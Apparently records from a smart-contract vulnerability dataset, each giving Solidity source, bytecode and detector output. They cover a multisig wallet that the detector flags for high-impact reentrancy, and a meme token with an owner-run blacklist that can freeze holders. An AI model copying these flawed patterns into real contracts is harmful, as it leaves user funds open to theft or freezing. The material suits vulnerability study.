pragma solidity ^0.5.16; contract KineMultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId, bytes returnData); event ExecutionFailure(uint indexed transactionId, bytes returnData); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping(uint => Transaction) public transactions; mapping(uint => mapping(address => bool)) public confirmations; mapping(address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { require(msg.sender == address(this), "only wallet self can call this function"); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner], "owner already exist"); _; } modifier ownerExists(address owner) { require(isOwner[owner], "owner not exist"); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != address(0), "transaction not exist"); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner], "transaction not confirmed"); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner], "transaction already confirmed"); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed, "transaction already executed"); _; } modifier notNull(address _address) { require(_address != address(0), "empty address"); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0, "ownerCount/required not valid"); _; } function() payable external { if (msg.value > 0) { emit Deposit(msg.sender, msg.value); } } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. constructor(address[] memory _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i = 0; i < _owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != address(0), "invalid/duplicated owner"); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); emit OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i = 0; i < owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); emit OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i = 0; i < owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes memory data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; (bool success, bytes memory returnData) = txn.destination.call.value(txn.value)(txn.data); if (success) emit Execution(transactionId, returnData); else { emit ExecutionFailure(transactionId, returnData); txn.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public view returns (bool) { uint count = 0; for (uint i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } return false; } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes memory data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination : destination, value : value, data : data, executed : false }); transactionCount += 1; emit Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public view returns (uint count) { count = 0; for (uint i = 0; i < owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public view returns (uint count) { count = 0; for (uint i = 0; i < transactionCount; i++) if (pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public view returns (address[] memory) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public view returns (address[] memory _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i = 0; i < owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i = 0; i < count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public view returns (uint[] memory _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i = 0; i < transactionCount; i++) if (pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i = from; i < to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60806040526004361061012a5760003560e01c8063a0e67e2b116100ab578063c01a8c841161006f578063c01a8c8414610534578063c64274741461055e578063d74f8edd14610626578063dc8452cd1461063b578063e20056e614610650578063ee22610b1461068b5761012a565b8063a0e67e2b14610426578063a8abe69a1461048b578063b5dc40c3146104cb578063b77bf600146104f5578063ba51a6df1461050a5761012a565b806354741525116100f2578063547415251461028c5780637065cb48146102d2578063784547a7146103055780638b51d13f1461032f5780639ace38c2146103595761012a565b8063025e7c2714610169578063173825d9146101af57806320ea8d86146101e25780632f54bf6e1461020c5780633411c81c14610253575b34156101675760408051348152905133917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561017557600080fd5b506101936004803603602081101561018c57600080fd5b50356106b5565b604080516001600160a01b039092168252519081900360200190f35b3480156101bb57600080fd5b50610167600480360360208110156101d257600080fd5b50356001600160a01b03166106dc565b3480156101ee57600080fd5b506101676004803603602081101561020557600080fd5b50356108b4565b34801561021857600080fd5b5061023f6004803603602081101561022f57600080fd5b50356001600160a01b0316610a34565b604080519115158252519081900360200190f35b34801561025f57600080fd5b5061023f6004803603604081101561027657600080fd5b50803590602001356001600160a01b0316610a49565b34801561029857600080fd5b506102c0600480360360408110156102af57600080fd5b508035151590602001351515610a69565b60408051918252519081900360200190f35b3480156102de57600080fd5b50610167600480360360208110156102f557600080fd5b50356001600160a01b0316610ad5565b34801561031157600080fd5b5061023f6004803603602081101561032857600080fd5b5035610cd9565b34801561033b57600080fd5b506102c06004803603602081101561035257600080fd5b5035610d64565b34801561036557600080fd5b506103836004803603602081101561037c57600080fd5b5035610dd3565b60405180856001600160a01b03166001600160a01b031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b838110156103e85781810151838201526020016103d0565b50505050905090810190601f1680156104155780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561043257600080fd5b5061043b610e91565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561047757818101518382015260200161045f565b505050509050019250505060405180910390f35b34801561049757600080fd5b5061043b600480360360808110156104ae57600080fd5b508035906020810135906040810135151590606001351515610ef4565b3480156104d757600080fd5b5061043b600480360360208110156104ee57600080fd5b503561101f565b34801561050157600080fd5b506102c0611196565b34801561051657600080fd5b506101676004803603602081101561052d57600080fd5b503561119c565b34801561054057600080fd5b506101676004803603602081101561055757600080fd5b5035611293565b34801561056a57600080fd5b506102c06004803603606081101561058157600080fd5b6001600160a01b03823516916020810135918101906060810160408201356401000000008111156105b157600080fd5b8201836020820111156105c357600080fd5b803590602001918460018302840111640100000000831117156105e557600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061141c945050505050565b34801561063257600080fd5b506102c061143b565b34801561064757600080fd5b506102c0611440565b34801561065c57600080fd5b506101676004803603604081101561067357600080fd5b506001600160a01b0381358116916020013516611446565b34801561069757600080fd5b50610167600480360360208110156106ae57600080fd5b503561166d565b600381815481106106c257fe5b6000918252602090912001546001600160a01b0316905081565b33301461071a5760405162461bcd60e51b8152600401808060200182810382526027815260200180611af86027913960400191505060405180910390fd5b6001600160a01b038116600090815260026020526040902054819060ff1661077b576040805162461bcd60e51b815260206004820152600f60248201526e1bdddb995c881b9bdd08195e1a5cdd608a1b604482015290519081900360640190fd5b6001600160a01b0382166000908152600260205260408120805460ff191690555b6003546000190181101561084f57826001600160a01b0316600382815481106107c157fe5b6000918252602090912001546001600160a01b03161415610847576003805460001981019081106107ee57fe5b600091825260209091200154600380546001600160a01b03909216918390811061081457fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555061084f565b60010161079c565b506003805460001901906108639082611a36565b50600354600454111561087c5760035461087c9061119c565b6040516001600160a01b038316907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a25050565b3360008181526002602052604090205460ff1661090a576040805162461bcd60e51b815260206004820152600f60248201526e1bdddb995c881b9bdd08195e1a5cdd608a1b604482015290519081900360640190fd5b60008281526001602090815260408083203380855292529091205483919060ff1661097c576040805162461bcd60e51b815260206004820152601960248201527f7472616e73616374696f6e206e6f7420636f6e6669726d656400000000000000604482015290519081900360640190fd5b600084815260208190526040902060030154849060ff16156109e5576040805162461bcd60e51b815260206004820152601c60248201527f7472616e73616374696f6e20616c726561647920657865637574656400000000604482015290519081900360640190fd5b6000858152600160209081526040808320338085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b600554811015610ace57838015610a96575060008181526020819052604090206003015460ff16155b80610aba5750828015610aba575060008181526020819052604090206003015460ff165b15610ac6576001820191505b600101610a6d565b5092915050565b333014610b135760405162461bcd60e51b8152600401808060200182810382526027815260200180611af86027913960400191505060405180910390fd5b6001600160a01b038116600090815260026020526040902054819060ff1615610b79576040805162461bcd60e51b81526020600482015260136024820152721bdddb995c88185b1c9958591e48195e1a5cdd606a1b604482015290519081900360640190fd5b816001600160a01b038116610bc5576040805162461bcd60e51b815260206004820152600d60248201526c656d707479206164647265737360981b604482015290519081900360640190fd5b60038054905060010160045460328211158015610be25750818111155b8015610bed57508015155b8015610bf857508115155b610c49576040805162461bcd60e51b815260206004820152601d60248201527f6f776e6572436f756e742f7265717569726564206e6f742076616c6964000000604482015290519081900360640190fd5b6001600160a01b038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b0180546001600160a01b03191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b600354811015610d585760008481526001602052604081206003805491929184908110610d0757fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff1615610d3b576001820191505b600454821415610d5057600192505050610d5f565b600101610cde565b5060009150505b919050565b6000805b600354811015610dcd5760008381526001602052604081206003805491929184908110610d9157fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff1615610dc5576001820191505b600101610d68565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f81018890048802840188019096528583526001600160a01b0390931695909491929190830182828015610e7e5780601f10610e5357610100808354040283529160200191610e7e565b820191906000526020600020905b815481529060010190602001808311610e6157829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610ee957602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610ecb575b505050505090505b90565b606080600554604051908082528060200260200182016040528015610f23578160200160208202803883390190505b5090506000805b600554811015610fa457858015610f53575060008181526020819052604090206003015460ff16155b80610f775750848015610f77575060008181526020819052604090206003015460ff165b15610f9c5780838381518110610f8957fe5b6020026020010181815250506001820191505b600101610f2a565b878703604051908082528060200260200182016040528015610fd0578160200160208202803883390190505b5093508790505b8681101561101457828181518110610feb57fe5b6020026020010151848983038151811061100157fe5b6020908102919091010152600101610fd7565b505050949350505050565b606080600380549050604051908082528060200260200182016040528015611051578160200160208202803883390190505b5090506000805b600354811015611114576000858152600160205260408120600380549192918490811061108157fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff161561110c57600381815481106110bb57fe5b9060005260206000200160009054906101000a90046001600160a01b03168383815181106110e557fe5b60200260200101906001600160a01b031690816001600160a01b0316815250506001820191505b600101611058565b8160405190808252806020026020018201604052801561113e578160200160208202803883390190505b509350600090505b8181101561118e5782818151811061115a57fe5b602002602001015184828151811061116e57fe5b6001600160a01b0390921660209283029190910190910152600101611146565b505050919050565b60055481565b3330146111da5760405162461bcd60e51b8152600401808060200182810382526027815260200180611af86027913960400191505060405180910390fd5b60035481603282118015906111ef5750818111155b80156111fa57508015155b801561120557508115155b611256576040805162461bcd60e51b815260206004820152601d60248201527f6f776e6572436f756e742f7265717569726564206e6f742076616c6964000000604482015290519081900360640190fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b3360008181526002602052604090205460ff166112e9576040805162461bcd60e51b815260206004820152600f60248201526e1bdddb995c881b9bdd08195e1a5cdd608a1b604482015290519081900360640190fd5b60008281526020819052604090205482906001600160a01b031661134c576040805162461bcd60e51b81526020600482015260156024820152741d1c985b9cd858dd1a5bdb881b9bdd08195e1a5cdd605a1b604482015290519081900360640190fd5b60008381526001602090815260408083203380855292529091205484919060ff16156113bf576040805162461bcd60e51b815260206004820152601d60248201527f7472616e73616374696f6e20616c726561647920636f6e6669726d6564000000604482015290519081900360640190fd5b6000858152600160208181526040808420338086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a36114158561166d565b5050505050565b600061142984848461191d565b905061143481611293565b9392505050565b603281565b60045481565b3330146114845760405162461bcd60e51b8152600401808060200182810382526027815260200180611af86027913960400191505060405180910390fd5b6001600160a01b038216600090815260026020526040902054829060ff166114e5576040805162461bcd60e51b815260206004820152600f60248201526e1bdddb995c881b9bdd08195e1a5cdd608a1b604482015290519081900360640190fd5b6001600160a01b038216600090815260026020526040902054829060ff161561154b576040805162461bcd60e51b81526020600482015260136024820152721bdddb995c88185b1c9958591e48195e1a5cdd606a1b604482015290519081900360640190fd5b60005b6003548110156115d357846001600160a01b03166003828154811061156f57fe5b6000918252602090912001546001600160a01b031614156115cb57836003828154811061159857fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506115d3565b60010161154e565b506001600160a01b03808516600081815260026020526040808220805460ff1990811690915593871682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a26040516001600160a01b038416907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a250505050565b600081815260208190526040902060030154819060ff16156116d6576040805162461bcd60e51b815260206004820152601c60248201527f7472616e73616374696f6e20616c726561647920657865637574656400000000604482015290519081900360640190fd5b6116df82610cd9565b156119195760008281526020819052604080822060038101805460ff191660019081179091558154818301549351600280850180549597966060966001600160a01b0390951695909491939283928592600019908216156101000201160480156117805780601f1061175e576101008083540402835291820191611780565b820191906000526020600020905b81548152906001019060200180831161176c575b505091505060006040518083038185875af1925050503d80600081146117c2576040519150601f19603f3d011682016040523d82523d6000602084013e6117c7565b606091505b5091509150811561187157847f0c18aae526accb31b01cf9a15bdf435e70632ee31efc4c5c0752c4262ea45d2f826040518080602001828103825283818151815260200191508051906020019080838360005b8381101561183257818101518382015260200161181a565b50505050905090810190601f16801561185f5780820380516001836020036101000a031916815260200191505b509250505060405180910390a2611415565b847fb244a44bc380e02e10c992fa6436e168a7d0c4c942fe9ae4ef21d59299510db9826040518080602001828103825283818151815260200191508051906020019080838360005b838110156118d15781810151838201526020016118b9565b50505050905090810190601f1680156118fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390a25050600301805460ff191690555b5050565b6000836001600160a01b03811661196b576040805162461bcd60e51b815260206004820152600d60248201526c656d707479206164647265737360981b604482015290519081900360640190fd5b600554604080516080810182526001600160a01b038881168252602080830189815283850189815260006060860181905287815280845295909520845181546001600160a01b031916941693909317835551600183015592518051949650919390926119de926002850192910190611a5f565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b815481835581811115611a5a57600083815260209020611a5a918101908301611add565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611aa057805160ff1916838001178555611acd565b82800160010185558215611acd579182015b82811115611acd578251825591602001919060010190611ab2565b50611ad9929150611add565b5090565b610ef191905b80821115611ad95760008155600101611ae356fe6f6e6c792077616c6c65742073656c662063616e2063616c6c20746869732066756e6374696f6ea265627a7a72315820c8287707714a4e71321f845e8bafc3fc5aa4f5dc64b009349df5a3910dbf1fd464736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
6,941
0x322ceb6a1e9f9dda933678bedb18bc81d9f42c8c
/** *Submitted for verification at Etherscan.io on 2022-04-19 */ /** */ // SPDX-License-Identifier: UNLICENSE /** Tg: https://t.me/bbigbird Bbigbird ($BBigbird) Stealth Launch Now Sesame Street's official 8'2 bird... I'm too tall to be short! **/ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BBigBird is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "BBig bird"; string private constant _symbol = "BBigbird"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _maxTxAmount = _tTotal.mul(20).div(1000); emit Transfer(address(_msgSender()), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to]); _feeAddr1 = 3; _feeAddr2 = 6; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // buy require(amount <= _maxTxAmount); require(tradingOpen); } if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { if(to == uniswapV2Pair){ _feeAddr1 = 3; _feeAddr2 = 6; } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 500000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function increaseMaxTx(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function addSwap() external onlyOwner { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function addLiq() external onlyOwner{ uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function enableTrading() external onlyOwner{ tradingOpen = true; } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){ bots[bots_[i]] = true; } } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c80638a259e6c116100a0578063b515566a11610064578063b515566a14610332578063c3c8cd8014610352578063d91a21a614610367578063dd62ed3e14610387578063e9e1831a146103cd57600080fd5b80638a259e6c1461028f5780638a8c523c146102a45780638da5cb5b146102b957806395d89b41146102e1578063a9059cbb1461031257600080fd5b8063313ce567116100e7578063313ce567146102095780635932ead1146102255780636fc3eaec1461024557806370a082311461025a578063715018a61461027a57600080fd5b806306fdde031461012f578063095ea7b31461017357806318160ddd146101a357806323b872dd146101c7578063273123b7146101e757600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600981526810909a59c8189a5c9960ba1b60208201525b60405161016a919061160c565b60405180910390f35b34801561017f57600080fd5b5061019361018e366004611686565b6103e2565b604051901515815260200161016a565b3480156101af57600080fd5b5066038d7ea4c680005b60405190815260200161016a565b3480156101d357600080fd5b506101936101e23660046116b2565b6103f9565b3480156101f357600080fd5b506102076102023660046116f3565b610462565b005b34801561021557600080fd5b506040516009815260200161016a565b34801561023157600080fd5b5061020761024036600461171e565b6104b6565b34801561025157600080fd5b506102076104fe565b34801561026657600080fd5b506101b96102753660046116f3565b61050b565b34801561028657600080fd5b5061020761052d565b34801561029b57600080fd5b506102076105a1565